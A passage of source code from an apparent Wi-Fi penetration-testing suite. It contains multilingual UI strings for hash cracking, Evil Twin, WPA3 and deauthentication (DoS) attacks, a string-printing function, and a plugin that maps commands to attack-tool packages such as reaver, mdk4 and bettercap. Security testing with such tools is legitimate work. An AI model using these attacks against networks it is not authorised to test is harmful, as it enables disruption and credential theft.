arr["ITALIAN",800]="Vuoi usare questo file di hash già selezionato? \${normal_color}\${visual_choice}" arr["POLISH",800]="Czy chcesz użyć tego wcześniej wybranego pliku hash? \${normal_color}\${visual_choice}" arr["GERMAN",800]="Möchtest du diese bereits ausgewählte Hash-Datei verwenden? \${normal_color}\${visual_choice}" arr["TURKISH",800]="Bu zaten seçilmiş olan hash dosyasını kullanmak istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",800]="\${normal_color}\${visual_choice}\${green_color} هل تريد استخدام ملف الهاش المحدد بالفعل؟" arr["CHINESE",800]="你想使用这个已选择的哈希文件吗?\${normal_color}\${visual_choice}" arr["ENGLISH",801]="Enter the path of a hash file:" arr["SPANISH",801]="Introduce la ruta de un fichero de hash:" arr["FRENCH",801]="Entre le chemin vers un fichier de hash:" arr["CATALAN",801]="Introdueix la ruta d’un fitxer de hash:" arr["PORTUGUESE",801]="Digite o caminho de um arquivo de hash:" arr["RUSSIAN",801]="Введите путь к файлу с хешом:" arr["GREEK",801]="Εισάγετε τη διαδρομή ενός hash αρχείου:" arr["ITALIAN",801]="Inserisci il percorso di un file di hash:" arr["POLISH",801]="Wprowadź ścieżkę do pliku hash:" arr["GERMAN",801]="Gib den Pfad zu einer Hash-Datei ein:" arr["TURKISH",801]="Bir hash dosyasının yolunu gir:" arr["ARABIC",801]=":أدخل مسار ملف الهاش" arr["CHINESE",801]="请输入哈希文件的路径:" arr["ENGLISH",802]="The version of John the Ripper you have installed cannot be used to perform the attack. Please install a \"\${normal_color}Jumbo\${red_color}\" version to be able to use this option" arr["SPANISH",802]="La versión de John the Ripper que tienes instalada no sirve para realizar el ataque. Por favor, instala una versión \"\${normal_color}Jumbo\${red_color}\" para poder utilizar esta opción" arr["FRENCH",802]="La version de John the Ripper que tu as installée ne permet pas d'effectuer l'attaque. S'il te plaît, installe une version \"\${normal_color}Jumbo\${red_color}\" pour pouvoir utiliser cette option" arr["CATALAN",802]="La versió de John the Ripper que tens instal·lada no serveix per realitzar l'atac. Si us plau, instal·la una versió \"\${normal_color}Jumbo\${red_color}\" per poder utilitzar aquesta opció" arr["PORTUGUESE",802]="A versão do John the Ripper instalada não pode ser usada para realizar o ataque. Por favor, instale uma versão \"\${normal_color}Jumbo\${red_color}\" para poder utilizar esta opção" arr["RUSSIAN",802]="Установленная версия John the Ripper, не подходит для выполнения атаки. Пожалуйста, установите версию \"\${normal_color}Jumbo\${red_color}\", чтобы использовать эту опцию" arr["GREEK",802]="Η έκδοση του John the Ripper που έχετε εγκατεστημένη δεν μπορεί να χρησιμοποιηθεί για να εκτελεστεί η επίθεση. Σας παρακαλώ, εγκαταστήστε μια έκδοση \"\${normal_color}Jumbo\${red_color}\" για να μπορέσετε να χρησιμοποιήσετε αυτή την επιλογή" arr["ITALIAN",802]="La versione di John the Ripper che hai installato non puó essere utilizzata per eseguire l'attacco. Per favore, installa una versione \"\${normal_color}Jumbo\${red_color}\" per poter utilizzare questa opzione" arr["POLISH",802]="Zainstalowana wersja John the Ripper nie nadaje się do przeprowadzenia ataku. Zainstaluj wersję \"\${normal_color}Jumbo\${red_color}\" aby móc użyć tej opcji" arr["GERMAN",802]="Die Version von John the Ripper, die du installiert hast, eignet sich nicht, um den Angriff durchzuführen. Bitte installiere eine \"\${normal_color}Jumbo\${red_color}\"-Version, um diese Option nutzen zu können" arr["TURKISH",802]="Yüklemiş olduğun John the Ripper sürümü saldırıyı gerçekleştirmek için uygun değil. Lütfen bu seçeneği kullanabilmek için \"\${normal_color}Jumbo\${red_color}\" sürümünü yükle" arr["ARABIC",802]="لتتمكن من استخدام هذا الخيار \"\${normal_color}Jumbo\${red_color}\" غير صالح لتنفيذ الهجوم. من فضلك ثبت إصدار John the Ripper الإصدار المثبت من" arr["CHINESE",802]="你安装的 John the Ripper 版本无法用于执行攻击。请安装一个 \"\${normal_color}Jumbo\${red_color}\" 版本以便能够使用此选项" arr["ENGLISH",803]="It has been detected that you are operating in a virtual machine (\"\${normal_color}\${vm_vendor}\${yellow_color}\"). This is not the most recommended setup for working with wireless networks. If your results are not as expected, use native Linux" arr["SPANISH",803]="Se ha detectado que estás operando en una máquina virtual (\"\${normal_color}\${vm_vendor}\${yellow_color}\"). Esto no es lo más recomendado para trabajar con redes inalámbricas. Si tus resultados no son los esperados, utiliza Linux nativo" arr["FRENCH",803]="Il a été détecté que tu utilises une machine virtuelle (\"\${normal_color}\${vm_vendor}\${yellow_color}\"). Ce n’est pas la configuration plus recommandée pour travailler avec des réseaux sans fil. Si tes résultats ne sont pas ceux attendus, utilise Linux natif" arr["CATALAN",803]="S’ha detectat que estàs operant en una màquina virtual (\"\${normal_color}\${vm_vendor}\${yellow_color}\"). Això no és el més recomanable per treballar amb xarxes sense fils. Si els teus resultats no són els esperats, utilitza Linux natiu" arr["PORTUGUESE",803]="Foi detectado que você está em uma máquina virtual (\"\${normal_color}\${vm_vendor}\${yellow_color}\"). Esta não é a configuração mais recomendada para trabalhar com redes sem fio. Se os resultados não forem os esperados, use o Linux nativo" arr["RUSSIAN",803]="Было обнаружено, что вы работаете в виртуальной среде (\"\${normal_color}\${vm_vendor}\${yellow_color}\"). Не рекомендуется проводить работы над беспроводными сетями из виртуальных машин. Если результаты не соответствуют ожиданиям, попробуйте нативный Linux" arr["GREEK",803]="Εντοπίστηκε ότι λειτουργείς σε εικονική μηχανή (\"\${normal_color}\${vm_vendor}\${yellow_color}\"). Αυτή δεν είναι η πιο συνιστώμενη ρύθμιση για εργασία με ασύρματα δίκτυα. Αν τα αποτελέσματά σου δεν είναι τα αναμενόμενα, χρησιμοποίησε εγγενές Linux" arr["ITALIAN",803]="È stato rilevato che stai operando in una macchina virtuale (\"\${normal_color}\${vm_vendor}\${yellow_color}\"). Non è la configurazione raccomandata per lavorare con reti wireless. Se i tuoi risultati non sono quelli attesi, usa Linux nativo" arr["POLISH",803]="Wykryto, że używasz maszyny wirtualnej (\"\${normal_color}\${vm_vendor}\${yellow_color}\"). Nie jest to najbardziej zalecane środowisko do pracy z sieciami bezprzewodowymi. Jeśli wyniki nie są zgodne z oczekiwaniami, użyj natywnego Linuksa" arr["GERMAN",803]="Es wurde erkannt, dass du in einer virtuellen Maschine (\"\${normal_color}\${vm_vendor}\${yellow_color}\") arbeitest. Dies ist nicht die empfohlene Umgebung für die Arbeit mit drahtlosen Netzwerken. Wenn deine Ergebnisse nicht wie erwartet sind, verwende natives Linux" arr["TURKISH",803]="Sanal bir makinede (\"\${normal_color}\${vm_vendor}\${yellow_color}\") çalıştığın tespit edildi. Kablosuz ağlarla çalışmak için bu önerilen bir yapılandırma değildir. Sonuçların beklediğin gibi değilse, yerel Linux kullan" arr["ARABIC",803]="الأصلي Linux هذا ليس الإعداد الموصى به للعمل مع الشبكات اللاسلكية. إذا لم تكن النتائج كما هو متوقع، استخدم نظام (\"\${normal_color}\${vm_vendor}\${yellow_color}\") تم اكتشاف أنك تعمل في جهاز افتراضي" arr["CHINESE",803]="检测到程序在虚拟机 (\"\${normal_color}\${vm_vendor}\${yellow_color}\") 中运行。这不是无线网络攻击的推荐方式。如果存在问题,请尝试使用物理机的 Linux" arr["ENGLISH",804]="15. Disable Evil Twin sounds permanently" arr["SPANISH",804]="15. Deshabilitar los sonidos de Evil Twin permanentemente" arr["FRENCH",804]="15. Désactiver définitivement les sons d’Evil Twin" arr["CATALAN",804]="15. Deshabilita permanentment els sons d’Evil Twin" arr["PORTUGUESE",804]="15. Desabilitar permanentemente os sons do Evil Twin" arr["RUSSIAN",804]="15. Отключить звуки Evil Twin навсегда" arr["GREEK",804]="15. Απενεργοποίησε μόνιμα τους ήχους Evil Twin" arr["ITALIAN",804]="15. Disattivare permanentemente i suoni di Evil Twin" arr["POLISH",804]="15. Wyłącz dźwięki Evil Twin na stałe" arr["GERMAN",804]="15. Evil Twin-Sounds dauerhaft deaktivieren" arr["TURKISH",804]="15. Evil Twin seslerini kalıcı olarak devre dışı bırak" arr["ARABIC",804]="15. بشكل دائم Evil Twin تعطيل أصوات" arr["CHINESE",804]="15. 永久禁用 Evil Twin 音效" arr["ENGLISH",805]="15. Enable Evil Twin sounds permanently" arr["SPANISH",805]="15. Habilitar los sonidos de Evil Twin permanentemente" arr["FRENCH",805]="15. Activer définitivement les sons d’Evil Twin" arr["CATALAN",805]="15. Habilita permanentment els sons d’Evil Twin" arr["PORTUGUESE",805]="15. Habilitar permanentemente os sons do Evil Twin" arr["RUSSIAN",805]="15. Включить звуки Evil Twin навсегда" arr["GREEK",805]="15. Ενεργοποίησε μόνιμα τους ήχους Evil Twin" arr["ITALIAN",805]="15. Attivare permanentemente i suoni di Evil Twin" arr["POLISH",805]="15. Włącz dźwięki Evil Twin na stałe" arr["GERMAN",805]="15. Evil Twin-Sounds dauerhaft aktivieren" arr["TURKISH",805]="15. Evil Twin seslerini kalıcı olarak etkinleştir" arr["ARABIC",805]="15. بشكل دائم Evil Twin تمكين أصوات" arr["CHINESE",805]="15. 永久启用 Evil Twin 音效" arr["ENGLISH",806]="\${blue_color}Evil Twin sounds will be disabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",806]="\${blue_color}Los sonidos de Evil Twin serán deshabilitados. \${green_color}¿Quieres continuar? \${normal_color}\${visual_choice}" arr["FRENCH",806]="\${blue_color}Les sons d’Evil Twin seront désactivés. \${green_color}Veux-tu continuer? \${normal_color}\${visual_choice}" arr["CATALAN",806]="\${blue_color}Els sons d’Evil Twin seran deshabilitats. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",806]="\${blue_color}Os sons do Evil Twin serão desabilitados. \${green_color}Deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",806]="\${blue_color}Звуки Evil Twin будут отключены. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",806]="\${blue_color}Οι ήχοι Evil Twin θα απενεργοποιηθούν. \${green_color}Θα ήθελες να συνεχίσεις; \${normal_color}\${visual_choice}" arr["ITALIAN",806]="\${blue_color}I suoni di Evil Twin saranno disabilitati. \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",806]="\${blue_color}Dźwięki Evil Twin zostaną wyłączone. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",806]="\${blue_color}Evil Twin-Sounds werden deaktiviert. \${green_color}Möchtest du fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",806]="\${blue_color}Evil Twin sesleri devre dışı bırakılacak. \${green_color}Devam etmek istiyor musun? \${normal_color}\${visual_choice}" arr["ARABIC",806]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟ \${blue_color}.Evil Twin سيتم تعطيل أصوات \${normal_color}" arr["CHINESE",806]="\${blue_color}Evil Twin 音效将被禁用。 \${green_color}是否继续? \${normal_color}\${visual_choice}" arr["ENGLISH",807]="\${blue_color}Evil Twin sounds will be enabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",807]="\${blue_color}Se van a habilitar los sonidos de Evil Twin. \${green_color}¿Quieres continuar? \${normal_color}\${visual_choice}" arr["FRENCH",807]="\${blue_color}Les sons d’Evil Twin seront activés. \${green_color}Veux-tu continuer? \${normal_color}\${visual_choice}" arr["CATALAN",807]="\${blue_color}Els sons d’Evil Twin seran habilitats. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",807]="\${blue_color}Os sons do Evil Twin serão habilitados. \${green_color}Deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",807]="\${blue_color}Звуки Evil Twin будут включены. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",807]="\${blue_color}Οι ήχοι Evil Twin θα ενεργοποιηθούν. \${green_color}Θα ήθελες να συνεχίσεις; \${normal_color}\${visual_choice}" arr["ITALIAN",807]="\${blue_color}I suoni di Evil Twin saranno abilitati. \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",807]="\${blue_color}Dźwięki Evil Twin zostaną włączone. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",807]="\${blue_color}Evil Twin-Sounds werden aktiviert. \${green_color}Möchtest du fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",807]="\${blue_color}Evil Twin sesleri etkinleştirilecek. \${green_color}Devam etmek istiyor musun? \${normal_color}\${visual_choice}" arr["ARABIC",807]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .Evil Twin سيتم تمكين أصوات\${normal_color}" arr["CHINESE",807]="\${blue_color}Evil Twin 音效将被启用。 \${green_color}是否继续? \${normal_color}\${visual_choice}" arr["ENGLISH",808]="Evil Twin sounds have been disabled" arr["SPANISH",808]="Los sonidos de Evil Twin han sido deshabilitados" arr["FRENCH",808]="Les sons d’Evil Twin ont été désactivés" arr["CATALAN",808]="Els sons d’Evil Twin han estat deshabilitats" arr["PORTUGUESE",808]="Os sons do Evil Twin foram desabilitados" arr["RUSSIAN",808]="Звуки Evil Twin были отключены" arr["GREEK",808]="Οι ήχοι Evil Twin έχουν απενεργοποιηθεί" arr["ITALIAN",808]="I suoni di Evil Twin sono stati disabilitati" arr["POLISH",808]="Dźwięki Evil Twin zostały wyłączone" arr["GERMAN",808]="Evil Twin-Sounds wurden deaktiviert" arr["TURKISH",808]="Evil Twin sesleri devre dışı bırakıldı" arr["ARABIC",808]="Evil Twin تم تعطيل أصوات" arr["CHINESE",808]="Evil Twin 音效已被禁用" arr["ENGLISH",809]="Evil Twin sounds have been enabled" arr["SPANISH",809]="Los sonidos de Evil Twin han sido habilitados" arr["FRENCH",809]="Les sons d’Evil Twin ont été activés" arr["CATALAN",809]="Els sons d’Evil Twin han estat habilitats" arr["PORTUGUESE",809]="Os sons do Evil Twin foram habilitados" arr["RUSSIAN",809]="Звуки Evil Twin были включены" arr["GREEK",809]="Οι ήχοι Evil Twin έχουν ενεργοποιηθεί" arr["ITALIAN",809]="I suoni di Evil Twin sono stati abilitati" arr["POLISH",809]="Evil Twin zostały włączone" arr["GERMAN",809]="Evil Twin-Sounds wurden aktiviert" arr["TURKISH",809]="Evil Twin sesleri etkinleştirildi" arr["ARABIC",809]="Evil Twin تم تمكين أصوات" arr["CHINESE",809]="Evil Twin 音效已被启用" arr["ENGLISH",810]="Evil Twin sounds: \${pink_color}Enabled\${normal_color}" arr["SPANISH",810]="Sonidos de Evil Twin: \${pink_color}Habilitados\${normal_color}" arr["FRENCH",810]="Sons d’Evil Twin: \${pink_color}Activés\${normal_color}" arr["CATALAN",810]="Sons d’Evil Twin: \${pink_color}Habilitats\${normal_color}" arr["PORTUGUESE",810]="Sons do Evil Twin: \${pink_color}Habilitados\${normal_color}" arr["RUSSIAN",810]="Звуки Evil Twin: \${pink_color}Включены\${normal_color}" arr["GREEK",810]="Ήχοι Evil Twin: \${pink_color}Ενεργοποιημένοι\${normal_color}" arr["ITALIAN",810]="Suoni di Evil Twin: \${pink_color}Abilitati\${normal_color}" arr["POLISH",810]="Dźwięki Evil Twin: \${pink_color}Włączone\${normal_color}" arr["GERMAN",810]="Evil Twin-Sounds: \${pink_color}Aktiviert\${normal_color}" arr["TURKISH",810]="Evil Twin sesleri: \${pink_color}Etkin\${normal_color}" arr["ARABIC",810]="\${pink_color}مُمكّنة\${blue_color} :Evil Twin أصوات\${normal_color}" arr["CHINESE",810]="Evil Twin 音效:\${pink_color}已启用\${normal_color}" arr["ENGLISH",811]="Evil Twin sounds: \${pink_color}Disabled\${normal_color}" arr["SPANISH",811]="Sonidos de Evil Twin: \${pink_color}Deshabilitados\${normal_color}" arr["FRENCH",811]="Sons d’Evil Twin: \${pink_color}Désactivés\${normal_color}" arr["CATALAN",811]="Sons d’Evil Twin: \${pink_color}Deshabilitats\${normal_color}" arr["PORTUGUESE",811]="Sons do Evil Twin: \${pink_color}Desabilitados\${normal_color}" arr["RUSSIAN",811]="Звуки Evil Twin: \${pink_color}Отключены\${normal_color}" arr["GREEK",811]="Ήχοι Evil Twin: \${pink_color}Απενεργοποιημένοι\${normal_color}" arr["ITALIAN",811]="Suoni di Evil Twin: \${pink_color}Disabilitati\${normal_color}" arr["POLISH",811]="Dźwięki Evil Twin: \${pink_color}Wyłączone\${normal_color}" arr["GERMAN",811]="Evil Twin-Sounds: \${pink_color}Deaktiviert\${normal_color}" arr["TURKISH",811]="Evil Twin sesleri: \${pink_color}Devre dışı\${normal_color}" arr["ARABIC",811]="\${pink_color}معطّلة\${blue_color} :Evil Twin أصوات\${normal_color}" arr["CHINESE",811]="Evil Twin 音效:\${pink_color}已禁用\${normal_color}" arr["ENGLISH",812]="8. WPA3 attack (use a plugin here)" arr["SPANISH",812]="8. Ataque WPA3 (usa un plugin aquí)" arr["FRENCH",812]="8. Attaque WPA3 (Un plugin est utilisé ici)" arr["CATALAN",812]="8. Atac WPA3 (utilitzeu un plugin aquí)" arr["PORTUGUESE",812]="8. Ataque WPA3 (use um plugin aqui)" arr["RUSSIAN",812]="8. WPA3 атака (используйте плагин здесь)" arr["GREEK",812]="8. Επίθεση WPA3 (χρησιμοποιήστε ένα plugin εδώ)" arr["ITALIAN",812]="8. Attacco WPA3 (usa un plugin qui)" arr["POLISH",812]="8. Atak WPA3 (przy użyciu pluginu)" arr["GERMAN",812]="8. WPA3-Angriff (Verwenden Sie hier ein Plugin)" arr["TURKISH",812]="8. WPA3 saldırısı (buradan eklenti kullanın)" arr["ARABIC",812]="8. (استخدم البرنامج المساعد هنا) WPA3 هجوم" arr["CHINESE",812]="8. WPA3攻击(在此处使用插件)" arr["ENGLISH",813]="\"DoS pursuit mode\" detected a 5Ghz channel change to \${normal_color}\${dos_pm_current_channel}\${yellow_color} but the deauth interface doesn't support 5Ghz. Keeping current channel \${normal_color}\${channel}\${yellow_color} to avoid a crash, but the attack is probably now ineffective. Please be sure to use adapters that support the required bands" arr["SPANISH",813]="\"Modo de persecución DoS\" ha detectado un cambio de canal 5Ghz a \${normal_color}\${dos_pm_current_channel}\${yellow_color} pero la interfaz de deauth no soporta 5Ghz. Se mantiene el canal actual \${normal_color}\${channel}\${yellow_color} para evitar un error, pero el ataque probablemente ahora sea inefectivo. Asegúrate de usar adaptadores que soporten las bandas necesarias" arr["FRENCH",813]="\"Mode de poursuite DoS\" a détecté un change de canal 5Ghz vers \${normal_color}\${dos_pm_current_channel}\${yellow_color} mais l’interface de deauth ne supporte pas le 5Ghz. Le canal actuel \${normal_color}\${channel}\${yellow_color} est conservé pour éviter un crash, mais l’attaque est probablement maintenant inefficace. Assure-toi d’utiliser des adaptateurs qui fonctionnent avec les bandes requises" arr["CATALAN",813]="\"Mode de persecució DoS\" ha detectat un canvi de canal 5Ghz a \${normal_color}\${dos_pm_current_channel}\${yellow_color} però la interfície de deauth no suporta 5Ghz. Es manté el canal actual \${normal_color}\${channel}\${yellow_color} per evitar un error, però l’atac probablement ara és inefectiu. Assegura’t d’utilitzar adaptadors que suportin les bandes necessàries" arr["PORTUGUESE",813]="\"Modo de perseguição DoS\" detectou uma mudança de canal 5Ghz para \${normal_color}\${dos_pm_current_channel}\${yellow_color} mas a interface de deauth não suporta 5Ghz. O canal atual \${normal_color}\${channel}\${yellow_color} será mantido para evitar um travamento, mas o ataque agora é provavelmente ineficaz. Certifique-se de usar adaptadores que suportem as bandas necessárias" arr["RUSSIAN",813]="\"Режим преследования DoS\" обнаружил смену канала на 5Ghz \${normal_color}\${dos_pm_current_channel}\${yellow_color}, однако deauthentication интерфейс не поддерживает 5Ghz. Текущий канал \${normal_color}\${channel}\${yellow_color} сохранён, чтобы избежать сбоя, однако атака, вероятно, теперь неэффективна. Убедитесь, что используете адаптеры с поддержкой нужных диапазонов" arr["GREEK",813]="Το \"DoS pursuit mode\" εντόπισε αλλαγή καναλιού 5Ghz σε \${normal_color}\${dos_pm_current_channel}\${yellow_color}, αλλά η διεπαφή deauth δεν υποστηρίζει 5Ghz. Διατηρείται το τρέχον κανάλι \${normal_color}\${channel}\${yellow_color} για να αποφευχθεί κατάρρευση, αλλά η επίθεση πιθανόν δεν είναι τώρα αποτελεσματική. Παρακαλώ βεβαιώσου ότι χρησιμοποιείς προσαρμογείς που υποστηρίζουν τις απαιτούμενες ζώνες" arr["ITALIAN",813]="\"DoS pursuit mode\" ha rilevato un cambio di canale 5Ghz a \${normal_color}\${dos_pm_current_channel}\${yellow_color}, ma l’interfaccia deauth non supporta il 5Ghz. Viene mantenuto il canale attuale \${normal_color}\${channel}\${yellow_color} per evitare un crash, ma l’attacco probabilmente ora è inefficace. Assicurati di usare adattatori che supportino le bande richieste" arr["POLISH",813]="\"Tryb DoS pursuit\" wykrył zmianę kanału 5Ghz na \${normal_color}\${dos_pm_current_channel}\${yellow_color}, lecz interfejs deauth nie obsługuje 5Ghz. Zachowano bieżący kanał \${normal_color}\${channel}\${yellow_color}, aby uniknąć awarii, jednak atak jest prawdopodobnie teraz nieskuteczny. Upewnij się, że używasz adapterów obsługujących wymagane pasma" arr["GERMAN",813]="\"DoS pursuit mode\" hat einen Kanalwechsel auf 5Ghz zu \${normal_color}\${dos_pm_current_channel}\${yellow_color} erkannt, aber die Deauth-Schnittstelle unterstützt kein 5Ghz. Der aktuelle Kanal \${normal_color}\${channel}\${yellow_color} wird beibehalten, um einen Absturz zu vermeiden, aber der Angriff ist wahrscheinlich jetzt wirkungslos. Stelle sicher, dass du Adapter verwendest, die die erforderlichen Bänder unterstützen" arr["TURKISH",813]="\"DoS pursuit mode\", 5Ghz kanalının \${normal_color}\${dos_pm_current_channel}\${yellow_color} olarak değiştiğini tespit etti ancak deauth arayüzü 5Ghz desteklemiyor. Çökme yaşanmaması için mevcut kanal \${normal_color}\${channel}\${yellow_color} korunuyor, ancak saldırı muhtemelen artık etkisiz. Gerekli bantları destekleyen adaptörler kullandığından emin ol" arr["ARABIC",813]="المطلوبة bands تدعم الـ adapters لتفادي حدوث عطل, لكن الهجوم غالباً أصبح الآن غير فعّال. يرجى التأكد من استخدام \${normal_color}\${channel}\${yellow_color} .سيتم البقاء على القناة الحالية (5Ghz) لا تدعم deauth لكن واجهة \${normal_color}\${dos_pm_current_channel}\${yellow_color} إلى (5Ghz) رصد تغيير قناة \"DoS pursuit mode\" تم اكتشاف أن وضع" arr["CHINESE",813]="“DoS 追踪模式”检测到 5Ghz 信道切换为 \${normal_color}\${dos_pm_current_channel}\${yellow_color},但 deauth 接口不支持 5Ghz。为避免崩溃,将保持当前信道 \${normal_color}\${channel}\${yellow_color},但当前攻击可能已经失效。请确保使用支持所需频段的网络适配器" } #Expand escaped variables in language strings with their current values function replace_string_vars() { local message message=${arr[${1},${2}]} parsed_message=$(echo "${message}" | sed -E 's/\"/\\\"/g') eval "echo -e \"${parsed_message}\"" } #Print a language string #shellcheck disable=SC2154 function language_strings() { debug_print local message message=$(replace_string_vars "${@}") case "${3}" in "yellow") interrupt_checkpoint "${2}" "${3}" echo_yellow "${message}" ;; "blue") echo_blue "${message}" ;; "red") echo_red "${message}" ;; "green") if [[ "${2}" -ne "${abort_question}" ]] 2>/dev/null && [[ "${2}" != "${abort_question}" ]]; then interrupt_checkpoint "${2}" "${3}" fi echo_green "${message}" ;; "pink") echo_pink "${message}" ;; "white") echo_white "${message}" ;; "title") generate_dynamic_line "${message}" "title" ;; "read") interrupt_checkpoint "${2}" "${3}" read -p "${message}" -r ;; "multiline") echo -ne "${message}" ;; "hint") if [ "${is_rtl_language}" -eq 1 ]; then echo_pink "${message} ${brown_color}${hintvar}" else echo_brown "${hintvar} ${pink_color}${message}" fi ;; "separator") generate_dynamic_line "${message}" "separator" ;; "warning") echo_yellow "${message}" ;; "under_construction") echo_red_slim "${message} (${under_construction[$language]})" ;; *) if [ -z "${3}" ]; then last_echo "${message}" "${normal_color}" else special_text_missed_optional_tool "${1}" "${2}" "${3}" fi ;; esac } #Function created empty intentionally to be hooked from plugins to modify language strings easily function hookable_for_languages() { debug_print : } ================================================ FILE: pindb_checksum.txt ================================================ c46dd1032c52efb4b291d9e97ce43e9d ================================================ FILE: plugins/missing_dependencies.sh ================================================ #!/usr/bin/env bash #Global shellcheck disabled warnings #shellcheck disable=SC2034 plugin_name="Missing dependencies auto-installation" plugin_description="A plugin to autoinstall missing dependencies on some Operating Systems (Kali, Parrot, BlackArch)" plugin_author="v1s1t0r" plugin_enabled=1 plugin_minimum_ag_affected_version="11.61" plugin_maximum_ag_affected_version="" plugin_distros_supported=("Kali" "Parrot" "BlackArch") #Custom function. Create the correspondence between commands and packages for each supported distro #shellcheck disable=SC2154,SC2295 function commands_to_packages() { local missing_commands_string_clean missing_commands_string_clean="${1#${1%%[![:space:]]*}}" declare -A commands_to_packages_correspondence case "${distro}" in "Kali"|"Parrot") commands_to_packages_correspondence["iw"]="iw" commands_to_packages_correspondence["awk"]="gawk" commands_to_packages_correspondence["airmon-ng"]="aircrack-ng" commands_to_packages_correspondence["airodump-ng"]="aircrack-ng" commands_to_packages_correspondence["aircrack-ng"]="aircrack-ng" commands_to_packages_correspondence["xterm"]="xterm" commands_to_packages_correspondence["tmux"]="tmux" commands_to_packages_correspondence["ip"]="iproute2" commands_to_packages_correspondence["lspci"]="pciutils" commands_to_packages_correspondence["ps"]="procps" commands_to_packages_correspondence["wpaclean"]="aircrack-ng" commands_to_packages_correspondence["aireplay-ng"]="aircrack-ng" commands_to_packages_correspondence["crunch"]="crunch" commands_to_packages_correspondence["hcxpcapngtool"]="hcxtools" commands_to_packages_correspondence["hcxdumptool"]="hcxdumptool" commands_to_packages_correspondence["mdk3"]="mdk3" commands_to_packages_correspondence["mdk4"]="mdk4" commands_to_packages_correspondence["hashcat"]="hashcat" commands_to_packages_correspondence["hostapd"]="hostapd" commands_to_packages_correspondence["dhcpd"]="isc-dhcp-server" commands_to_packages_correspondence["nft"]="nftables" commands_to_packages_correspondence["iptables"]="iptables" commands_to_packages_correspondence["ettercap"]="ettercap-text-only" commands_to_packages_correspondence["etterlog"]="ettercap-text-only" commands_to_packages_correspondence["lighttpd"]="lighttpd" commands_to_packages_correspondence["dnsmasq"]="dnsmasq" commands_to_packages_correspondence["wash"]="reaver" commands_to_packages_correspondence["reaver"]="reaver" commands_to_packages_correspondence["bully"]="bully" commands_to_packages_correspondence["pixiewps"]="pixiewps" commands_to_packages_correspondence["bettercap"]="bettercap" commands_to_packages_correspondence["beef-xss"]="beef-xss" commands_to_packages_correspondence["packetforge-ng"]="aircrack-ng" commands_to_packages_correspondence["hostapd-wpe"]="hostapd-wpe" commands_to_packages_correspondence["asleap"]="asleap" commands_to_packages_correspondence["john"]="john" commands_to_packages_correspondence["openssl"]="openssl" commands_to_packages_correspondence["tshark"]="tshark" commands_to_packages_correspondence["tcpdump"]="tcpdump" commands_to_packages_correspondence["besside-ng"]="aircrack-ng" commands_to_packages_correspondence["hostapd-mana"]="hostapd-mana" commands_to_packages_correspondence["hcxhash2cap"]="hcxtools" commands_to_packages_correspondence["hcxhashtool"]="hcxtools" commands_to_packages_correspondence["xdpyinfo"]="x11-utils" commands_to_packages_correspondence["ethtool"]="ethtool" commands_to_packages_correspondence["lsusb"]="usbutils" commands_to_packages_correspondence["rfkill"]="rfkill" commands_to_packages_correspondence["wget"]="wget" commands_to_packages_correspondence["ccze"]="ccze" commands_to_packages_correspondence["loginctl"]="systemd" commands_to_packages_correspondence["xset"]="x11-xserver-utils" commands_to_packages_correspondence["arping"]="arping" commands_to_packages_correspondence["play"]="sox" commands_to_packages_correspondence["curl"]="curl" ;; "BlackArch") commands_to_packages_correspondence["iw"]="iw" commands_to_packages_correspondence["awk"]="gawk" commands_to_packages_correspondence["airmon-ng"]="aircrack-ng" commands_to_packages_correspondence["airodump-ng"]="aircrack-ng" commands_to_packages_correspondence["aircrack-ng"]="aircrack-ng" commands_to_packages_correspondence["xterm"]="xterm" commands_to_packages_correspondence["tmux"]="tmux" commands_to_packages_correspondence["ip"]="iproute2" commands_to_packages_correspondence["lspci"]="pciutils" commands_to_packages_correspondence["ps"]="procps-ng" commands_to_packages_correspondence["wpaclean"]="aircrack-ng" commands_to_packages_correspondence["aireplay-ng"]="aircrack-ng" commands_to_packages_correspondence["crunch"]="crunch" commands_to_packages_correspondence["hcxpcapngtool"]="hcxtools" commands_to_packages_correspondence["hcxdumptool"]="hcxdumptool" commands_to_packages_correspondence["mdk3"]="mdk3" commands_to_packages_correspondence["mdk4"]="mdk4" commands_to_packages_correspondence["hashcat"]="hashcat" commands_to_packages_correspondence["hostapd"]="hostapd" commands_to_packages_correspondence["dhcpd"]="dhcp" commands_to_packages_correspondence["nft"]="nftables" commands_to_packages_correspondence["iptables"]="iptables" commands_to_packages_correspondence["ettercap"]="ettercap" commands_to_packages_correspondence["etterlog"]="ettercap" commands_to_packages_correspondence["lighttpd"]="lighttpd" commands_to_packages_correspondence["dnsmasq"]="dnsmasq" commands_to_packages_correspondence["wash"]="reaver" commands_to_packages_correspondence["reaver"]="reaver" commands_to_packages_correspondence["bully"]="bully" commands_to_packages_correspondence["pixiewps"]="pixiewps" commands_to_packages_correspondence["bettercap"]="bettercap" commands_to_packages_correspondence["beef"]="beef" commands_to_packages_correspondence["packetforge-ng"]="aircrack-ng" commands_to_packages_correspondence["hostapd-wpe"]="hostapd-wpe" commands_to_packages_correspondence["asleap"]="asleap" commands_to_packages_correspondence["john"]="john" commands_to_packages_correspondence["openssl"]="openssl" commands_to_packages_correspondence["tshark"]="wireshark-cli" commands_to_packages_correspondence["tcpdump"]="tcpdump" commands_to_packages_correspondence["besside-ng"]="aircrack-ng" commands_to_packages_correspondence["hostapd-mana"]="hostapd-mana" commands_to_packages_correspondence["hcxhash2cap"]="hcxtools" 